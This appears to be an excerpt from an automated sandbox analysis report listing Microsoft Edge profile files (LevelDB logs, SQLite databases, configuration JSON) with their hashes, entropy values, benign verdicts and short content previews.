MD5:	FE844651B5ECBCA9B16AE0FCBC8FD9ED
SHA1:	D9143D7C1B2D3DD49FD94040C1E6FAA57EC0D10A
SHA-256:	A5371904FE7B538D81CCE3B660AD13ABABDEB3F1EC2543E70ADEFF127589BABD
SHA-512:	B965BAE7F8F9141CD6E13F44BF8A1537C379450EDEC459EF7D40E221F6AB8656CDA0042DEF85DB7291FCE8B3DF8A511B002CA18E2DFC797541039651338AF4F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354119941401074
Encrypted:	false
SSDEEP:	6144:LA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:LFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	987198D595F92913BC280570752E4434
SHA1:	BB331B109ACCA7F21D872BCB7780E6383EFF3534
SHA-256:	5C4E51644F6ABA1BEC75119D2E6819007419CE72E2D614DD4A6FBC573BE8DF9D
SHA-512:	7E16853870E3615EB8953B3411FA384550D730EBC723F6B0772FDC0DB8C9BBD64F3F8295492231A4C5D5F353ABEDC91363E30F37E53A3D6760C7DF096515CD90
Malicious:	false
Preview:	...m.................DB_VERSION.1<BU.q...............&QUERY_TIMESTAMP:domains_config_gz2...13378907549295992..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.18256743479953
Encrypted:	false
SSDEEP:	6:70FX01923oH+Tcwtk2WwnvB2KLlpuW+q2P923oH+Tcwtk2WwnvIFUv:70t5YebkxwnvFLT0v4YebkxwnQFUv
MD5:	865932B02C0C597266D94EBF0D261CD6
SHA1:	8E477E759CDC08CA21256D7E29F27E7C8191E6F8
SHA-256:	5D1A539F2E376B6F8DBE572FD98FFBAD9EE65B1E33FA432F16E304DBC04D360C
SHA-512:	5C329C56DC1BCBCE06C631E7A6EA2C67AB81715DD3332418B4D8F0A12098F8201E2C9849DB189E78FC2177D180476AFB60A74DC1EB035BFEA86211F9EF8BDF9C
Malicious:	false
Preview:	2024/12/17-06:12:25.414 2298 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/17-06:12:25.496 2298 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324614693046069
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RG:C1gAg1zfvu
MD5:	A9C06771B59500F70C092D9939491511
SHA1:	05E3C3E8F2582D4B8556C8F17BA927677BC6B3A5
SHA-256:	DC22374CE3A0231DA7138A0F0141FA77B9B090CFAAB1538F8470E89A9BE869C7
SHA-512:	3263F0E74A3C48658F2BB13631FEC3FF1B00FF5BD10960CCAF47F208EEDF4104F284A440C63C415C98F955B0CEAD519F4FF6F70F833240CDA59F922B24EB993B
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.149393140285155
Encrypted:	false
SSDEEP:	6:7Od3N+q2P923oH+Tcwt8aPrqIFUt8OOdl0Zmw+OOd+AHNVkwO923oH+Tcwt8amLJ:7y3Iv4YebL3FUt8Oyl0/+OyJz5LYebQJ
MD5:	6D0BE06BD1B397EF7307DCD634C51148
SHA1:	3C2A77C47BAECC55628A2F62B0BE0DD92D0A7916
SHA-256:	481F586BB632B29D9F95A482D04B4C9E2C4F7670C7A371454051EC23EBD27663
SHA-512:	3283B1A17D037AC6CD88C763E8E10076AFE0190EFF520A0B10F417E761641CFF2CDB6B3203928E7C5C00C826E26887BC340CC40272C165589C8F3B41D4546ABD
Malicious:	false
Preview:	2024/12/17-06:12:19.080 1c28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/17-06:12:19.081 1c28 Recovering log #3.2024/12/17-06:12:19.082 1c28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.149393140285155
Encrypted:	false
SSDEEP:	6:7Od3N+q2P923oH+Tcwt8aPrqIFUt8OOdl0Zmw+OOd+AHNVkwO923oH+Tcwt8amLJ:7y3Iv4YebL3FUt8Oyl0/+OyJz5LYebQJ
MD5:	6D0BE06BD1B397EF7307DCD634C51148
SHA1:	3C2A77C47BAECC55628A2F62B0BE0DD92D0A7916
SHA-256:	481F586BB632B29D9F95A482D04B4C9E2C4F7670C7A371454051EC23EBD27663
SHA-512:	3283B1A17D037AC6CD88C763E8E10076AFE0190EFF520A0B10F417E761641CFF2CDB6B3203928E7C5C00C826E26887BC340CC40272C165589C8F3B41D4546ABD
Malicious:	false
Preview:	2024/12/17-06:12:19.080 1c28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/17-06:12:19.081 1c28 Recovering log #3.2024/12/17-06:12:19.082 1c28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.171983288220829
Encrypted:	false
SSDEEP:	6:7x5N+q2P923oH+Tcwt865IFUt8OddXZmw+OcUVkwO923oH+Tcwt86+ULJ:7xKv4Yeb/WFUt8OfX/+Oc05LYeb/+SJ
MD5:	78FEEE5B94CC568B21B5EF1E5CCFD3E7
SHA1:	0806ED4BE5FDBC7D304F7F954D473C77AF061F01
SHA-256:	9677E8E92935DBDA3E3DDBC71A35261C4FFAFFFD81EB02A7D109A78F1E814A10
SHA-512:	6481A27F1C170813387DDB428445452F798A7D1ECEECD7C04C8795351150332EAFCAB176DE1B17A52BFBB4A2CF5120CB044CACF20C8F39244E7E7F6FBF659AF5
Malicious:	false
Preview:	2024/12/17-06:12:19.115 1c28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/17-06:12:19.126 1c28 Recovering log #3.2024/12/17-06:12:19.128 1c28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.171983288220829
Encrypted:	false
SSDEEP:	6:7x5N+q2P923oH+Tcwt865IFUt8OddXZmw+OcUVkwO923oH+Tcwt86+ULJ:7xKv4Yeb/WFUt8OfX/+Oc05LYeb/+SJ
MD5:	78FEEE5B94CC568B21B5EF1E5CCFD3E7
SHA1:	0806ED4BE5FDBC7D304F7F954D473C77AF061F01
SHA-256:	9677E8E92935DBDA3E3DDBC71A35261C4FFAFFFD81EB02A7D109A78F1E814A10
SHA-512:	6481A27F1C170813387DDB428445452F798A7D1ECEECD7C04C8795351150332EAFCAB176DE1B17A52BFBB4A2CF5120CB044CACF20C8F39244E7E7F6FBF659AF5
Malicious:	false
Preview:	2024/12/17-06:12:19.115 1c28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/17-06:12:19.126 1c28 Recovering log #3.2024/12/17-06:12:19.128 1c28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.112836226547921
Encrypted:	false
SSDEEP:	6:73mOq2P923oH+Tcwt8NIFUt8O3FhXZmw+O3FhFkwO923oH+Tcwt8+eLJ:7Dv4YebpFUt8O3/+Ol5LYebqJ
MD5:	9869EA0702F25F3E0F8996603999A580
SHA1:	6CD862C2A07864DFAA8CC6B6320448669CF4B0A9
SHA-256:	987776D3178C5B4ADDCD497EC5F24CD39C5FDFFFDB5BA0983CE147828D876151
SHA-512:	76F2314C08C4B123FC8FC804A730FC92B4C68F80BDA9E49E5F1C0171ECA9E714D9DBFC648020742C37DD98262CD5D422D304691978C1904C092291AFD469DCBC
Malicious:	false
Preview:	2024/12/17-06:12:20.826 170 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/17-06:12:20.827 170 Recovering log #3.2024/12/17-06:12:20.827 170 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.112836226547921
Encrypted:	false
SSDEEP:	6:73mOq2P923oH+Tcwt8NIFUt8O3FhXZmw+O3FhFkwO923oH+Tcwt8+eLJ:7Dv4YebpFUt8O3/+Ol5LYebqJ
MD5:	9869EA0702F25F3E0F8996603999A580
SHA1:	6CD862C2A07864DFAA8CC6B6320448669CF4B0A9
SHA-256:	987776D3178C5B4ADDCD497EC5F24CD39C5FDFFFDB5BA0983CE147828D876151
SHA-512:	76F2314C08C4B123FC8FC804A730FC92B4C68F80BDA9E49E5F1C0171ECA9E714D9DBFC648020742C37DD98262CD5D422D304691978C1904C092291AFD469DCBC
Malicious:	false
Preview:	2024/12/17-06:12:20.826 170 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/17-06:12:20.827 170 Recovering log #3.2024/12/17-06:12:20.827 170 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.6338678071230359
Encrypted:	false
SSDEEP:	96:+NU/Lp+hEWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kET7:+sLEfhH+bDo3iN0Z2TVJkXBBE3ybo
MD5:	C7BAF282B41E354CC4C7FA87DD239D30
SHA1:	75F13DA6AA4D289A29EAC2D0C8D113B1FDDAE3BE
SHA-256:	7DD992CFA7A5699088362825B25F0FCED1B15ABE6EEBF6320097EBAB814E8983
SHA-512:	B86EAB026FA15DDCB1FAFCA3DC967084601D99BA4A341A4DE3528892E9E90CB39A6D49F00FE89C098CE104CD4703340A484DEC4E4C8A0ADAE5F8FA55190F647B
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21690649452025507
Encrypted:	false
SSDEEP:	3:idDl9tFlljq7A/mhWJFuQ3yy7IOWUchnotdweytllrE9SFcTp4AGbNCV9RUIPR:iy75fOXtd0Xi99pEYX
MD5:	2A24E6C48CC8AB679686EB6C75AD50CB
SHA1:	C5FF2038D8DA536D3CAC027CA3F19CAC6355F348
SHA-256:	74819CA84D35A99D7A4C594873F380833E45D5320EF02740C3B49D38AAAAF807
SHA-512:	16B245FF6E37A5C31757B1DB8EDBEF1370D0FA26D6C6B3CFA9E94A343C4AFE5F8505D2A3B720284A7312C48081399451EEDFE96FA86700BDDF7E34A1A2FD4661
Malicious:	false
Preview:	..............tt...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647765064718782
Encrypted:	false
SSDEEP:	384:aj9P0oP/KbtfjlgQkQerGc7gam6IThj773pLLRKToaAu:adnP/ylge2pajF7NRKcC
MD5:	95E3DB17726EF29867B77AEC1E3A4CF9
SHA1:	9C443F1977D2A8E2712B2E54EC08290724B17998
SHA-256:	DF9A502211B87B3A07FB4A47CE44B449D7CA28DD1F79ADC993DEBABEEA5BBC31
SHA-512:	968A1E32269D2BC915B6D791999A56927F41B829D69441803B095E9293C7CF9DA2A802D60091A6BF78FF0C1FA85011814C89B8F3C6B973F4D2CEB5C89D21B568
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.2548315710844244
Encrypted:	false
SSDEEP:	12:7/c+v4Yeb8rcHEZrELFUt8O/BW/+O/zV5LYeb8rcHEZrEZSJ:7V4Yeb8nZrExg8O0jLYeb8nZrEZe
MD5:	785BB3A1B38279F2A7B9D6A506D2EF97
SHA1:	AD2558CA5C4F1AB3CE832AEF95320A5931B9FC7A
SHA-256:	0709340691828FC09A15FD76FABADA72CE25A1E8A57D73911A79D70A0F155530
SHA-512:	60B782448C95A50AEC1FFF0353AC1B65B01426C7483AC969964C0FE9ABE492266BC0D820B876145ADEFB0C8DA1438340F7AB4FFD890A3DB813105576C7B8921A
Malicious:	false
Preview:	2024/12/17-06:12:23.316 18cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/17-06:12:23.316 18cc Recovering log #3.2024/12/17-06:12:23.317 18cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.2548315710844244
Encrypted:	false
SSDEEP:	12:7/c+v4Yeb8rcHEZrELFUt8O/BW/+O/zV5LYeb8rcHEZrEZSJ:7V4Yeb8nZrExg8O0jLYeb8nZrEZe
MD5:	785BB3A1B38279F2A7B9D6A506D2EF97
SHA1:	AD2558CA5C4F1AB3CE832AEF95320A5931B9FC7A
SHA-256:	0709340691828FC09A15FD76FABADA72CE25A1E8A57D73911A79D70A0F155530
SHA-512:	60B782448C95A50AEC1FFF0353AC1B65B01426C7483AC969964C0FE9ABE492266BC0D820B876145ADEFB0C8DA1438340F7AB4FFD890A3DB813105576C7B8921A
Malicious:	false
Preview:	2024/12/17-06:12:23.316 18cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/17-06:12:23.316 18cc Recovering log #3.2024/12/17-06:12:23.317 18cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.143978757825073
Encrypted:	false
SSDEEP:	6:7KTXuDq2P923oH+Tcwt8a2jMGIFUt8OKTROUhZmw+OKTduKkwO923oH+Tcwt8a23:7rDv4Yeb8EFUt8OsOY/+OguK5LYeb8bJ
